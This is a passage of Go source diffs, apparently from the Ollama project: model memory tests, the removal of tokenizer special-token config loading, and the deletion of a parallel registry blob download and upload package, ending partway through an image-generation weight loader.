// Other platforms should fail
if err == nil {
t.Errorf("Expected error on unsupported platform %s, got nil", runtime.GOOS)
}
}
}
// TestMemoryRequirementsError verifies memory check returns clear error.
func TestMemoryRequirementsError(t *testing.T) {
// Test with insufficient memory
err := CheckMemoryRequirements("test-model", 8*GB)
if err == nil {
t.Error("Expected error for insufficient memory (8GB < 21GB default)")
}
// Test with sufficient memory
err = CheckMemoryRequirements("test-model", 32*GB)
if err != nil {
t.Errorf("Expected no error for sufficient memory (32GB), got: %v", err)
}
}
// TestEstimateVRAMReturnsReasonableDefaults verifies VRAM estimates are sensible.
func TestEstimateVRAMReturnsReasonableDefaults(t *testing.T) {
// Unknown model should return default (21GB)
vram := EstimateVRAM("unknown-model")
if vram < 10*GB || vram > 100*GB {
t.Errorf("VRAM estimate %d GB is outside reasonable range (10-100 GB)", vram/GB)
}
// Verify known pipeline estimates exist and are reasonable
for name, estimate := range modelVRAMEstimates {
if estimate < 10*GB {
t.Errorf("VRAM estimate for %s (%d GB) is suspiciously low", name, estimate/GB)
}
if estimate > 200*GB {
t.Errorf("VRAM estimate for %s (%d GB) is suspiciously high", name, estimate/GB)
}
}
}
// TestServerInterfaceCompliance verifies Server implements llm.LlamaServer.
// This is a compile-time check but we document it as a test.
func TestServerInterfaceCompliance(t *testing.T) {
// The var _ llm.LlamaServer = (*Server)(nil) line in server.go
// ensures compile-time interface compliance.
// This test documents that requirement.
t.Log("Server implements llm.LlamaServer interface (compile-time checked)")
}

View File

@@ -256,164 +256,6 @@ func rewritePatternForRE2(pattern string) string {
return pattern
}
// LoadFromBytes loads a tokenizer from tokenizer.json bytes.
// This is useful when loading from blob storage where the file content is already in memory.
// Note: This won't load special token config from companion files. Use LoadFromBytesWithConfig
// to provide tokenizer_config.json data for proper PAD/EOS token loading.
func LoadFromBytes(data []byte) (*Tokenizer, error) {
return loadFromTokenizerJSON(data, "")
}
// TokenizerConfig holds optional configuration data that can be passed to LoadFromBytesWithConfig.
type TokenizerConfig struct {
TokenizerConfigJSON []byte // tokenizer_config.json content
GenerationConfigJSON []byte // generation_config.json content
SpecialTokensMapJSON []byte // special_tokens_map.json content
ConfigJSON []byte // config.json content
}
// LoadFromBytesWithConfig loads a tokenizer from tokenizer.json bytes with additional config files.
// This is useful when loading from blob storage where companion config files are also blobs.
func LoadFromBytesWithConfig(data []byte, config *TokenizerConfig) (*Tokenizer, error) {
t, err := loadFromTokenizerJSON(data, "")
if err != nil {
return nil, err
}
if config == nil {
return t, nil
}
// Apply special token configs from provided data
loadSpecialTokenConfigFromBytes(t, config)
return t, nil
}
// loadSpecialTokenConfigFromBytes loads special token configuration from byte slices.
func loadSpecialTokenConfigFromBytes(t *Tokenizer, config *TokenizerConfig) {
// Helper to parse eos_token_id which can be int or []int
parseTokenIDs := func(v interface{}) []int32 {
switch val := v.(type) {
case float64:
return []int32{int32(val)}
case []interface{}:
ids := make([]int32, 0, len(val))
for _, id := range val {
if f, ok := id.(float64); ok {
ids = append(ids, int32(f))
}
}
return ids
}
return nil
}
// Priority 1: generation_config.json
if len(config.GenerationConfigJSON) > 0 {
var genConfig struct {
EOSTokenID interface{} `json:"eos_token_id"`
BOSTokenID interface{} `json:"bos_token_id"`
}
if err := json.Unmarshal(config.GenerationConfigJSON, &genConfig); err == nil {
if ids := parseTokenIDs(genConfig.EOSTokenID); len(ids) > 0 {
t.vocab.EOS = ids
}
if ids := parseTokenIDs(genConfig.BOSTokenID); len(ids) > 0 {
t.vocab.BOS = ids[0]
}
}
}
// Priority 2: config.json
if len(config.ConfigJSON) > 0 && (len(t.vocab.EOS) == 0 || t.vocab.BOS < 0) {
var modelConfig struct {
EOSTokenID interface{} `json:"eos_token_id"`
BOSTokenID interface{} `json:"bos_token_id"`
}
if err := json.Unmarshal(config.ConfigJSON, &modelConfig); err == nil {
if len(t.vocab.EOS) == 0 {
if ids := parseTokenIDs(modelConfig.EOSTokenID); len(ids) > 0 {
t.vocab.EOS = ids
}
}
if t.vocab.BOS < 0 {
if ids := parseTokenIDs(modelConfig.BOSTokenID); len(ids) > 0 {
t.vocab.BOS = ids[0]
}
}
}
}
// Priority 3: tokenizer_config.json
if len(config.TokenizerConfigJSON) > 0 {
var tokConfig struct {
BOSToken interface{} `json:"bos_token"`
EOSToken interface{} `json:"eos_token"`
PADToken interface{} `json:"pad_token"`
AddBOSToken *bool `json:"add_bos_token"`
AddEOSToken *bool `json:"add_eos_token"`
}
if err := json.Unmarshal(config.TokenizerConfigJSON, &tokConfig); err == nil {
if t.vocab.BOS < 0 {
if bosStr := extractTokenString(tokConfig.BOSToken); bosStr != "" {
if id, ok := t.specialTokens[bosStr]; ok {
t.vocab.BOS = id
}
}
}
if len(t.vocab.EOS) == 0 {
if eosStr := extractTokenString(tokConfig.EOSToken); eosStr != "" {
if id, ok := t.specialTokens[eosStr]; ok {
t.vocab.EOS = []int32{id}
}
}
}
if t.vocab.PAD < 0 {
if padStr := extractTokenString(tokConfig.PADToken); padStr != "" {
if id, ok := t.specialTokens[padStr]; ok {
t.vocab.PAD = id
}
}
}
if tokConfig.AddBOSToken != nil {
t.vocab.AddBOS = *tokConfig.AddBOSToken
}
if tokConfig.AddEOSToken != nil {
t.vocab.AddEOS = *tokConfig.AddEOSToken
}
}
}
// Priority 4: special_tokens_map.json
if len(config.SpecialTokensMapJSON) > 0 {
var tokensMap map[string]interface{}
if err := json.Unmarshal(config.SpecialTokensMapJSON, &tokensMap); err == nil {
if t.vocab.BOS < 0 {
if bosStr := extractTokenString(tokensMap["bos_token"]); bosStr != "" {
if id, ok := t.specialTokens[bosStr]; ok {
t.vocab.BOS = id
}
}
}
if len(t.vocab.EOS) == 0 {
if eosStr := extractTokenString(tokensMap["eos_token"]); eosStr != "" {
if id, ok := t.specialTokens[eosStr]; ok {
t.vocab.EOS = []int32{id}
}
}
}
if t.vocab.PAD < 0 {
if padStr := extractTokenString(tokensMap["pad_token"]); padStr != "" {
if id, ok := t.specialTokens[padStr]; ok {
t.vocab.PAD = id
}
}
}
}
}
}
// Load loads a tokenizer from a path which can be:
// - A tokenizer.json file
// - A directory containing tokenizer.json or vocab.json + merges.txt

View File

@@ -1,329 +0,0 @@
package transfer
import (
"cmp"
"context"
"crypto/sha256"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/url"
"os"
"path/filepath"
"slices"
"sync"
"sync/atomic"
"time"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
)
var (
errStalled = errors.New("download stalled")
errSlow = errors.New("download too slow")
)
type downloader struct {
client *http.Client
baseURL string
destDir string
repository string // Repository path for blob URLs (e.g., "library/model")
token *string
getToken func(context.Context, AuthChallenge) (string, error)
userAgent string
stallTimeout time.Duration
progress *progressTracker
speeds *speedTracker
logger *slog.Logger
}
func download(ctx context.Context, opts DownloadOptions) error {
if len(opts.Blobs) == 0 {
return nil
}
// Calculate total from all blobs (for accurate progress reporting on resume)
var total int64
for _, b := range opts.Blobs {
total += b.Size
}
// Filter out already-downloaded blobs and track completed bytes
var blobs []Blob
var alreadyCompleted int64
for _, b := range opts.Blobs {
if fi, _ := os.Stat(filepath.Join(opts.DestDir, digestToPath(b.Digest))); fi != nil && fi.Size() == b.Size {
if opts.Logger != nil {
opts.Logger.Debug("blob already exists", "digest", b.Digest, "size", b.Size)
}
alreadyCompleted += b.Size
continue
}
blobs = append(blobs, b)
}
if len(blobs) == 0 {
return nil
}
token := opts.Token
progress := newProgressTracker(total, opts.Progress)
progress.add(alreadyCompleted) // Report already-downloaded bytes upfront
d := &downloader{
client: cmp.Or(opts.Client, defaultClient),
baseURL: opts.BaseURL,
destDir: opts.DestDir,
repository: cmp.Or(opts.Repository, "library/_"),
token: &token,
getToken: opts.GetToken,
userAgent: cmp.Or(opts.UserAgent, defaultUserAgent),
stallTimeout: cmp.Or(opts.StallTimeout, defaultStallTimeout),
progress: progress,
speeds: &speedTracker{},
logger: opts.Logger,
}
concurrency := cmp.Or(opts.Concurrency, DefaultDownloadConcurrency)
sem := semaphore.NewWeighted(int64(concurrency))
g, ctx := errgroup.WithContext(ctx)
for _, blob := range blobs {
g.Go(func() error {
if err := sem.Acquire(ctx, 1); err != nil {
return err
}
defer sem.Release(1)
return d.download(ctx, blob)
})
}
return g.Wait()
}
func (d *downloader) download(ctx context.Context, blob Blob) error {
var lastErr error
var slowRetries int
attempt := 0
for attempt < maxRetries {
if attempt > 0 {
if err := backoff(ctx, attempt, time.Second<<uint(attempt-1)); err != nil {
return err
}
}
start := time.Now()
n, err := d.downloadOnce(ctx, blob)
if err == nil {
if s := time.Since(start).Seconds(); s > 0 {
d.speeds.record(float64(blob.Size) / s)
}
return nil
}
d.progress.add(-n) // rollback
switch {
case errors.Is(err, context.Canceled), errors.Is(err, context.DeadlineExceeded):
return err
case errors.Is(err, errStalled):
// Don't count stall retries against limit
case errors.Is(err, errSlow):
if slowRetries++; slowRetries >= 3 {
attempt++ // Only count after 3 slow retries
}
default:
attempt++
}
lastErr = err
}
return fmt.Errorf("%w: %v", errMaxRetriesExceeded, lastErr)
}
func (d *downloader) downloadOnce(ctx context.Context, blob Blob) (int64, error) {
if d.logger != nil {
d.logger.Debug("downloading blob", "digest", blob.Digest, "size", blob.Size)
}
baseURL, _ := url.Parse(d.baseURL)
u, err := d.resolve(ctx, fmt.Sprintf("%s/v2/%s/blobs/%s", d.baseURL, d.repository, blob.Digest))
if err != nil {
return 0, err
}
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
req.Header.Set("User-Agent", d.userAgent)
// Add auth only for same-host (not CDN)
if u.Host == baseURL.Host && *d.token != "" {
req.Header.Set("Authorization", "Bearer "+*d.token)
}
resp, err := d.client.Do(req)
if err != nil {
return 0, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return 0, fmt.Errorf("status %d", resp.StatusCode)
}
return d.save(ctx, blob, resp.Body)
}
func (d *downloader) save(ctx context.Context, blob Blob, r io.Reader) (int64, error) {
dest := filepath.Join(d.destDir, digestToPath(blob.Digest))
tmp := dest + ".tmp"
os.MkdirAll(filepath.Dir(dest), 0o755)
f, err := os.Create(tmp)
if err != nil {
return 0, err
}
defer f.Close()
setSparse(f)
h := sha256.New()
n, err := d.copy(ctx, f, r, h)
if err != nil {
os.Remove(tmp)
return n, err
}
f.Close()
if got := fmt.Sprintf("sha256:%x", h.Sum(nil)); got != blob.Digest {
os.Remove(tmp)
return n, fmt.Errorf("digest mismatch")
}
if n != blob.Size {
os.Remove(tmp)
return n, fmt.Errorf("size mismatch")
}
return n, os.Rename(tmp, dest)
}
func (d *downloader) copy(ctx context.Context, dst io.Writer, src io.Reader, h io.Writer) (int64, error) {
var n int64
var lastRead atomic.Int64
lastRead.Store(time.Now().UnixNano())
start := time.Now()
ctx, cancel := context.WithCancelCause(ctx)
defer cancel(nil)
go func() {
tick := time.NewTicker(time.Second)
defer tick.Stop()
for {
select {
case <-ctx.Done():
return
case <-tick.C:
if time.Since(time.Unix(0, lastRead.Load())) > d.stallTimeout {
cancel(errStalled)
return
}
if e := time.Since(start); e > 5*time.Second {
if m := d.speeds.median(); m > 0 && float64(n)/e.Seconds() < m*0.1 {
cancel(errSlow)
return
}
}
}
}
}()
buf := make([]byte, 32*1024)
for {
if err := ctx.Err(); err != nil {
if c := context.Cause(ctx); c != nil {
return n, c
}
return n, err
}
nr, err := src.Read(buf)
if nr > 0 {
lastRead.Store(time.Now().UnixNano())
dst.Write(buf[:nr])
h.Write(buf[:nr])
d.progress.add(int64(nr))
n += int64(nr)
}
if err == io.EOF {
return n, nil
}
if err != nil {
return n, err
}
}
}
func (d *downloader) resolve(ctx context.Context, rawURL string) (*url.URL, error) {
u, _ := url.Parse(rawURL)
for range 10 {
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
req.Header.Set("User-Agent", d.userAgent)
if *d.token != "" {
req.Header.Set("Authorization", "Bearer "+*d.token)
}
resp, err := d.client.Do(req)
if err != nil {
return nil, err
}
resp.Body.Close()
switch resp.StatusCode {
case http.StatusOK:
return u, nil
case http.StatusUnauthorized:
if d.getToken == nil {
return nil, fmt.Errorf("unauthorized")
}
ch := parseAuthChallenge(resp.Header.Get("WWW-Authenticate"))
if *d.token, err = d.getToken(ctx, ch); err != nil {
return nil, err
}
case http.StatusTemporaryRedirect, http.StatusFound, http.StatusMovedPermanently:
loc, _ := resp.Location()
if loc.Host != u.Host {
return loc, nil
}
u = loc
default:
return nil, fmt.Errorf("status %d", resp.StatusCode)
}
}
return nil, fmt.Errorf("too many redirects")
}
type speedTracker struct {
mu sync.Mutex
speeds []float64
}
func (s *speedTracker) record(v float64) {
s.mu.Lock()
s.speeds = append(s.speeds, v)
if len(s.speeds) > 30 {
s.speeds = s.speeds[1:]
}
s.mu.Unlock()
}
func (s *speedTracker) median() float64 {
s.mu.Lock()
defer s.mu.Unlock()
if len(s.speeds) < 5 {
return 0
}
sorted := make([]float64, len(s.speeds))
copy(sorted, s.speeds)
slices.Sort(sorted)
return sorted[len(sorted)/2]
}
const defaultStallTimeout = 10 * time.Second

View File

@@ -1,12 +0,0 @@
//go:build !windows
package transfer
import "os"
// setSparse is a no-op on non-Windows platforms.
// On Windows, this sets the FSCTL_SET_SPARSE attribute which allows the OS
// to not allocate disk blocks for zero-filled regions. This is useful for
// partial downloads where not all data has been written yet. On Unix-like
// systems, filesystems typically handle this automatically (sparse by default).
func setSparse(_ *os.File) {}

View File

@@ -1,31 +0,0 @@
//go:build windows
package transfer
import (
"os"
"golang.org/x/sys/windows"
)
// setSparse sets the FSCTL_SET_SPARSE attribute on Windows files.
// This allows the OS to not allocate disk blocks for zero-filled regions,
// which is useful for large files that may not be fully written (e.g., partial
// downloads). Without this, Windows may pre-allocate disk space for the full
// file size even if most of it is zeros.
//
// Note: Errors are intentionally ignored because:
// 1. The file will still work correctly without sparse support
// 2. Not all Windows filesystems support sparse files (e.g., FAT32)
// 3. This is an optimization, not a requirement
func setSparse(file *os.File) {
var bytesReturned uint32
_ = windows.DeviceIoControl(
windows.Handle(file.Fd()),
windows.FSCTL_SET_SPARSE,
nil, 0,
nil, 0,
&bytesReturned,
nil,
)
}

View File

@@ -1,216 +0,0 @@
// Package transfer provides minimal, fast blob transfer for tensor-based models.
//
// This package is in x/ because the tensor model storage format is under development.
// It provides optimized transfer for models with many small blobs (tensor models)
// rather than few large blobs (typical LLMs).
//
// TODO (jmorganca): Integrate into server/download.go and server/upload.go when stable.
//
// Design Philosophy:
// This package is intentionally simpler than the main server's download/upload code.
// Key simplifications for many-small-blob workloads:
//
// - Whole-blob transfers: No part-based chunking. Each blob downloads/uploads as one unit.
// - No resume: If a transfer fails, it restarts from scratch (fine for small blobs).
// - Inline hashing: SHA256 computed during streaming, not asynchronously after parts complete.
// - Stall and speed detection: Cancels on no data (stall) or speed below 10% of median.
//
// For large models (multi-GB), use the server's download/upload code which has:
// - Part-based transfers with 64MB chunks
// - Resumable downloads with JSON state files
// - Async streamHasher that hashes from OS page cache as parts complete
// - Speed tracking with rolling median to detect and restart slow parts
package transfer
import (
"context"
"errors"
"log/slog"
"math/rand/v2"
"net/http"
"strings"
"sync/atomic"
"time"
)
// Blob represents a content-addressed blob to transfer.
type Blob struct {
Digest string // sha256:...
Size int64
// From enables cross-repository blob mounting (upload only).
// When set, the upload will first attempt to mount the blob from this source
// repository instead of uploading the data. This is a Docker Registry v2 API
// feature that avoids re-uploading blobs that already exist elsewhere.
//
// Example: From="library/source-model" will add ?mount=<digest>&from=library/source-model
// to the POST /blobs/uploads/ request. If the registry returns 201 Created,
// the blob was mounted successfully and no upload is needed.
//
// See: https://distribution.github.io/distribution/spec/api/#cross-repository-blob-mount
From string
}
// DownloadOptions configures a parallel download operation.
type DownloadOptions struct {
Blobs []Blob // Blobs to download
BaseURL string // Registry base URL
DestDir string // Destination directory for blobs
Repository string // Repository path for blob URLs (e.g., "library/model")
Concurrency int // Max parallel downloads (default 64)
Progress func(completed, total int64) // Progress callback (optional)
Client *http.Client // HTTP client (optional, uses default)
Token string // Auth token (optional)
GetToken func(ctx context.Context, challenge AuthChallenge) (string, error) // Token refresh callback
Logger *slog.Logger // Optional structured logger
UserAgent string // User-Agent header (optional, has default)
StallTimeout time.Duration // Timeout for stall detection (default 10s)
}
// UploadOptions configures a parallel upload operation.
type UploadOptions struct {
Blobs []Blob // Blobs to upload
BaseURL string // Registry base URL
SrcDir string // Source directory containing blobs
Concurrency int // Max parallel uploads (default 32)
Progress func(completed, total int64) // Progress callback (optional)
Client *http.Client // HTTP client (optional, uses default)
Token string // Auth token (optional)
GetToken func(ctx context.Context, challenge AuthChallenge) (string, error) // Token refresh callback
Logger *slog.Logger // Optional structured logger
UserAgent string // User-Agent header (optional, has default)
// Manifest fields (optional) - if set, manifest is pushed after all blobs complete
Manifest []byte // Raw manifest JSON to push
ManifestRef string // Tag or digest for the manifest (e.g., "latest", "sha256:...")
Repository string // Repository path for manifest URL (e.g., "library/model")
}
// AuthChallenge represents a parsed WWW-Authenticate challenge.
type AuthChallenge struct {
Realm string
Service string
Scope string
}
// Default concurrency limits and settings
const (
DefaultDownloadConcurrency = 64
DefaultUploadConcurrency = 32
maxRetries = 6
defaultUserAgent = "ollama-transfer/1.0"
)
var errMaxRetriesExceeded = errors.New("max retries exceeded")
// defaultClient is a shared HTTP client with connection pooling.
var defaultClient = &http.Client{
Transport: &http.Transport{
MaxIdleConns: 100,
MaxIdleConnsPerHost: 100,
IdleConnTimeout: 90 * time.Second,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
// progressTracker aggregates progress across concurrent operations.
type progressTracker struct {
completed atomic.Int64
total int64
callback func(completed, total int64)
}
func newProgressTracker(total int64, callback func(completed, total int64)) *progressTracker {
return &progressTracker{
total: total,
callback: callback,
}
}
func (p *progressTracker) add(n int64) {
if p == nil || p.callback == nil {
return
}
completed := p.completed.Add(n)
p.callback(completed, p.total)
}
// Download downloads blobs in parallel with streaming hash verification.
func Download(ctx context.Context, opts DownloadOptions) error {
return download(ctx, opts)
}
// Upload uploads blobs in parallel.
func Upload(ctx context.Context, opts UploadOptions) error {
return upload(ctx, opts)
}
// digestToPath converts sha256:abc123 to sha256-abc123
func digestToPath(digest string) string {
if len(digest) > 7 && digest[6] == ':' {
return digest[:6] + "-" + digest[7:]
}
return digest
}
// parseAuthChallenge parses a WWW-Authenticate header value.
// Example: Bearer realm="https://auth.example.com",service="registry",scope="repository:foo:pull"
func parseAuthChallenge(header string) AuthChallenge {
header = strings.TrimPrefix(header, "Bearer ")
getValue := func(key string) string {
startIdx := strings.Index(header, key+"=")
if startIdx == -1 {
return ""
}
startIdx += len(key) + 1
if startIdx >= len(header) {
return ""
}
// Handle quoted values
if header[startIdx] == '"' {
startIdx++
endIdx := strings.Index(header[startIdx:], "\"")
if endIdx == -1 {
return header[startIdx:]
}
return header[startIdx : startIdx+endIdx]
}
// Unquoted value - ends at comma or end of string
endIdx := strings.Index(header[startIdx:], ",")
if endIdx == -1 {
return header[startIdx:]
}
return header[startIdx : startIdx+endIdx]
}
return AuthChallenge{
Realm: getValue("realm"),
Service: getValue("service"),
Scope: getValue("scope"),
}
}
// backoff returns a function that sleeps with exponential backoff.
func backoff(ctx context.Context, attempt int, maxBackoff time.Duration) error {
if ctx.Err() != nil {
return ctx.Err()
}
// n^2 backoff with jitter
d := min(time.Duration(attempt*attempt)*10*time.Millisecond, maxBackoff)
d = time.Duration(float64(d) * (rand.Float64() + 0.5))
t := time.NewTimer(d)
defer t.Stop()
select {
case <-ctx.Done():
return ctx.Err()
case <-t.C:
return nil
}
}

View File

File diff suppressed because it is too large Load Diff

View File

@@ -1,346 +0,0 @@
package transfer
import (
"bytes"
"cmp"
"context"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/url"
"os"
"path/filepath"
"time"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
)
type uploader struct {
client *http.Client
baseURL string
srcDir string
repository string // Repository path for blob URLs (e.g., "library/model")
token *string
getToken func(context.Context, AuthChallenge) (string, error)
userAgent string
progress *progressTracker
logger *slog.Logger
}
func upload(ctx context.Context, opts UploadOptions) error {
if len(opts.Blobs) == 0 && len(opts.Manifest) == 0 {
return nil
}
token := opts.Token
u := &uploader{
client: cmp.Or(opts.Client, defaultClient),
baseURL: opts.BaseURL,
srcDir: opts.SrcDir,
repository: cmp.Or(opts.Repository, "library/_"),
token: &token,
getToken: opts.GetToken,
userAgent: cmp.Or(opts.UserAgent, defaultUserAgent),
logger: opts.Logger,
}
if len(opts.Blobs) > 0 {
// Phase 1: Fast parallel HEAD checks to find which blobs need uploading
needsUpload := make([]bool, len(opts.Blobs))
{
sem := semaphore.NewWeighted(128) // High concurrency for HEAD checks
g, gctx := errgroup.WithContext(ctx)
for i, blob := range opts.Blobs {
g.Go(func() error {
if err := sem.Acquire(gctx, 1); err != nil {
return err
}
defer sem.Release(1)
exists, err := u.exists(gctx, blob)
if err != nil {
return err
}
if !exists {
needsUpload[i] = true
} else if u.logger != nil {
u.logger.Debug("blob exists", "digest", blob.Digest)
}
return nil
})
}
if err := g.Wait(); err != nil {
return err
}
}
// Filter to only blobs that need uploading
var toUpload []Blob
var total int64
for i, blob := range opts.Blobs {
if needsUpload[i] {
toUpload = append(toUpload, blob)
total += blob.Size
}
}
if len(toUpload) == 0 {
if u.logger != nil {
u.logger.Debug("all blobs exist, nothing to upload")
}
} else {
// Phase 2: Upload blobs that don't exist
u.progress = newProgressTracker(total, opts.Progress)
concurrency := cmp.Or(opts.Concurrency, DefaultUploadConcurrency)
sem := semaphore.NewWeighted(int64(concurrency))
g, gctx := errgroup.WithContext(ctx)
for _, blob := range toUpload {
g.Go(func() error {
if err := sem.Acquire(gctx, 1); err != nil {
return err
}
defer sem.Release(1)
return u.upload(gctx, blob)
})
}
if err := g.Wait(); err != nil {
return err
}
}
}
if len(opts.Manifest) > 0 && opts.ManifestRef != "" && opts.Repository != "" {
return u.pushManifest(ctx, opts.Repository, opts.ManifestRef, opts.Manifest)
}
return nil
}
func (u *uploader) upload(ctx context.Context, blob Blob) error {
var lastErr error
var n int64
for attempt := range maxRetries {
if attempt > 0 {
if err := backoff(ctx, attempt, time.Second<<uint(attempt-1)); err != nil {
return err
}
}
var err error
n, err = u.uploadOnce(ctx, blob)
if err == nil {
return nil
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return err
}
u.progress.add(-n)
lastErr = err
}
return fmt.Errorf("%w: %v", errMaxRetriesExceeded, lastErr)
}
func (u *uploader) uploadOnce(ctx context.Context, blob Blob) (int64, error) {
if u.logger != nil {
u.logger.Debug("uploading blob", "digest", blob.Digest, "size", blob.Size)
}
// Init upload
uploadURL, err := u.initUpload(ctx, blob)
if err != nil {
return 0, err
}
// Open file
f, err := os.Open(filepath.Join(u.srcDir, digestToPath(blob.Digest)))
if err != nil {
return 0, err
}
defer f.Close()
// PUT blob
return u.put(ctx, uploadURL, f, blob.Size)
}
func (u *uploader) exists(ctx context.Context, blob Blob) (bool, error) {
req, _ := http.NewRequestWithContext(ctx, http.MethodHead, fmt.Sprintf("%s/v2/%s/blobs/%s", u.baseURL, u.repository, blob.Digest), nil)
req.Header.Set("User-Agent", u.userAgent)
if *u.token != "" {
req.Header.Set("Authorization", "Bearer "+*u.token)
}
resp, err := u.client.Do(req)
if err != nil {
return false, err
}
resp.Body.Close()
if resp.StatusCode == http.StatusUnauthorized && u.getToken != nil {
ch := parseAuthChallenge(resp.Header.Get("WWW-Authenticate"))
if *u.token, err = u.getToken(ctx, ch); err != nil {
return false, err
}
return u.exists(ctx, blob)
}
return resp.StatusCode == http.StatusOK, nil
}
func (u *uploader) initUpload(ctx context.Context, blob Blob) (string, error) {
endpoint, _ := url.Parse(fmt.Sprintf("%s/v2/%s/blobs/uploads/", u.baseURL, u.repository))
q := endpoint.Query()
q.Set("digest", blob.Digest)
endpoint.RawQuery = q.Encode()
req, _ := http.NewRequestWithContext(ctx, http.MethodPost, endpoint.String(), nil)
req.Header.Set("User-Agent", u.userAgent)
if *u.token != "" {
req.Header.Set("Authorization", "Bearer "+*u.token)
}
resp, err := u.client.Do(req)
if err != nil {
return "", err
}
resp.Body.Close()
if resp.StatusCode == http.StatusUnauthorized && u.getToken != nil {
ch := parseAuthChallenge(resp.Header.Get("WWW-Authenticate"))
if *u.token, err = u.getToken(ctx, ch); err != nil {
return "", err
}
return u.initUpload(ctx, blob)
}
if resp.StatusCode != http.StatusAccepted {
return "", fmt.Errorf("init: status %d", resp.StatusCode)
}
loc := resp.Header.Get("Docker-Upload-Location")
if loc == "" {
loc = resp.Header.Get("Location")
}
if loc == "" {
return "", fmt.Errorf("no upload location")
}
locURL, _ := url.Parse(loc)
if !locURL.IsAbs() {
base, _ := url.Parse(u.baseURL)
locURL = base.ResolveReference(locURL)
}
q = locURL.Query()
q.Set("digest", blob.Digest)
locURL.RawQuery = q.Encode()
return locURL.String(), nil
}
func (u *uploader) put(ctx context.Context, uploadURL string, f *os.File, size int64) (int64, error) {
pr := &progressReader{reader: f, tracker: u.progress}
req, _ := http.NewRequestWithContext(ctx, http.MethodPut, uploadURL, pr)
req.ContentLength = size
req.Header.Set("Content-Type", "application/octet-stream")
req.Header.Set("User-Agent", u.userAgent)
if *u.token != "" {
req.Header.Set("Authorization", "Bearer "+*u.token)
}
resp, err := u.client.Do(req)
if err != nil {
return pr.n, err
}
defer resp.Body.Close()
// Handle auth retry
if resp.StatusCode == http.StatusUnauthorized && u.getToken != nil {
ch := parseAuthChallenge(resp.Header.Get("WWW-Authenticate"))
if *u.token, err = u.getToken(ctx, ch); err != nil {
return pr.n, err
}
f.Seek(0, 0)
u.progress.add(-pr.n)
return u.put(ctx, uploadURL, f, size)
}
// Handle redirect to CDN
if resp.StatusCode == http.StatusTemporaryRedirect {
loc, _ := resp.Location()
f.Seek(0, 0)
u.progress.add(-pr.n)
pr2 := &progressReader{reader: f, tracker: u.progress}
req2, _ := http.NewRequestWithContext(ctx, http.MethodPut, loc.String(), pr2)
req2.ContentLength = size
req2.Header.Set("Content-Type", "application/octet-stream")
req2.Header.Set("User-Agent", u.userAgent)
resp2, err := u.client.Do(req2)
if err != nil {
return pr2.n, err
}
defer resp2.Body.Close()
if resp2.StatusCode != http.StatusCreated && resp2.StatusCode != http.StatusAccepted {
body, _ := io.ReadAll(resp2.Body)
return pr2.n, fmt.Errorf("status %d: %s", resp2.StatusCode, body)
}
return pr2.n, nil
}
if resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusAccepted {
body, _ := io.ReadAll(resp.Body)
return pr.n, fmt.Errorf("status %d: %s", resp.StatusCode, body)
}
return pr.n, nil
}
func (u *uploader) pushManifest(ctx context.Context, repo, ref string, manifest []byte) error {
req, _ := http.NewRequestWithContext(ctx, http.MethodPut, fmt.Sprintf("%s/v2/%s/manifests/%s", u.baseURL, repo, ref), bytes.NewReader(manifest))
req.Header.Set("Content-Type", "application/vnd.docker.distribution.manifest.v2+json")
req.Header.Set("User-Agent", u.userAgent)
if *u.token != "" {
req.Header.Set("Authorization", "Bearer "+*u.token)
}
resp, err := u.client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusUnauthorized && u.getToken != nil {
ch := parseAuthChallenge(resp.Header.Get("WWW-Authenticate"))
if *u.token, err = u.getToken(ctx, ch); err != nil {
return err
}
return u.pushManifest(ctx, repo, ref, manifest)
}
if resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("status %d: %s", resp.StatusCode, body)
}
return nil
}
type progressReader struct {
reader io.Reader
tracker *progressTracker
n int64
}
func (r *progressReader) Read(p []byte) (int, error) {
n, err := r.reader.Read(p)
if n > 0 {
r.n += int64(n)
r.tracker.add(int64(n))
}
return n, err
}

View File

@@ -1,116 +0,0 @@
//go:build mlx
package imagegen
import (
"fmt"
"sort"
"strings"
"github.com/ollama/ollama/x/imagegen/mlx"
)
// ManifestWeights provides fast weight loading from tensor blobs.
// Uses native mmap loading with synthetic safetensors headers for zero-copy.
type ManifestWeights struct {
manifest *ModelManifest
component string
tensors map[string]ManifestLayer // name -> layer
cache map[string]*mlx.Array // name -> loaded array
nativeCache []*mlx.SafetensorsFile // keep native handles alive
}
// LoadWeightsFromManifest creates a weight loader for a component from manifest storage.
func LoadWeightsFromManifest(manifest *ModelManifest, component string) (*ManifestWeights, error) {
layers := manifest.GetTensorLayers(component)
if len(layers) == 0 {
return nil, fmt.Errorf("no tensor layers found for component %q", component)
}
// Strip component prefix from tensor names for model loading
// e.g., "text_encoder/model.embed_tokens.weight" -> "model.embed_tokens.weight"
prefix := component + "/"
tensors := make(map[string]ManifestLayer, len(layers))
for _, layer := range layers {
tensorName := strings.TrimPrefix(layer.Name, prefix)
tensors[tensorName] = layer
}
return &ManifestWeights{
manifest: manifest,
component: component,
tensors: tensors,
cache: make(map[string]*mlx.Array),
}, nil
}
// Load loads all tensor blobs using native mmap (zero-copy).
// Blobs are stored in safetensors format for native mlx_load_safetensors mmap.
// If dtype is non-zero, tensors are converted to the specified dtype.
func (mw *ManifestWeights) Load(dtype mlx.Dtype) error {
for name, layer := range mw.tensors {
path := mw.manifest.BlobPath(layer.Digest)
// Load blob as safetensors (native mmap, zero-copy)
sf, err := mlx.LoadSafetensorsNative(path)
if err != nil {
return fmt.Errorf("load %s: %w", name, err)
}
// Blob contains single tensor named "data"
arr := sf.Get("data")
if arr == nil {
sf.Free()
return fmt.Errorf("tensor 'data' not found in blob for %s", name)
}
// Convert dtype if needed
if dtype != 0 && arr.Dtype() != dtype {
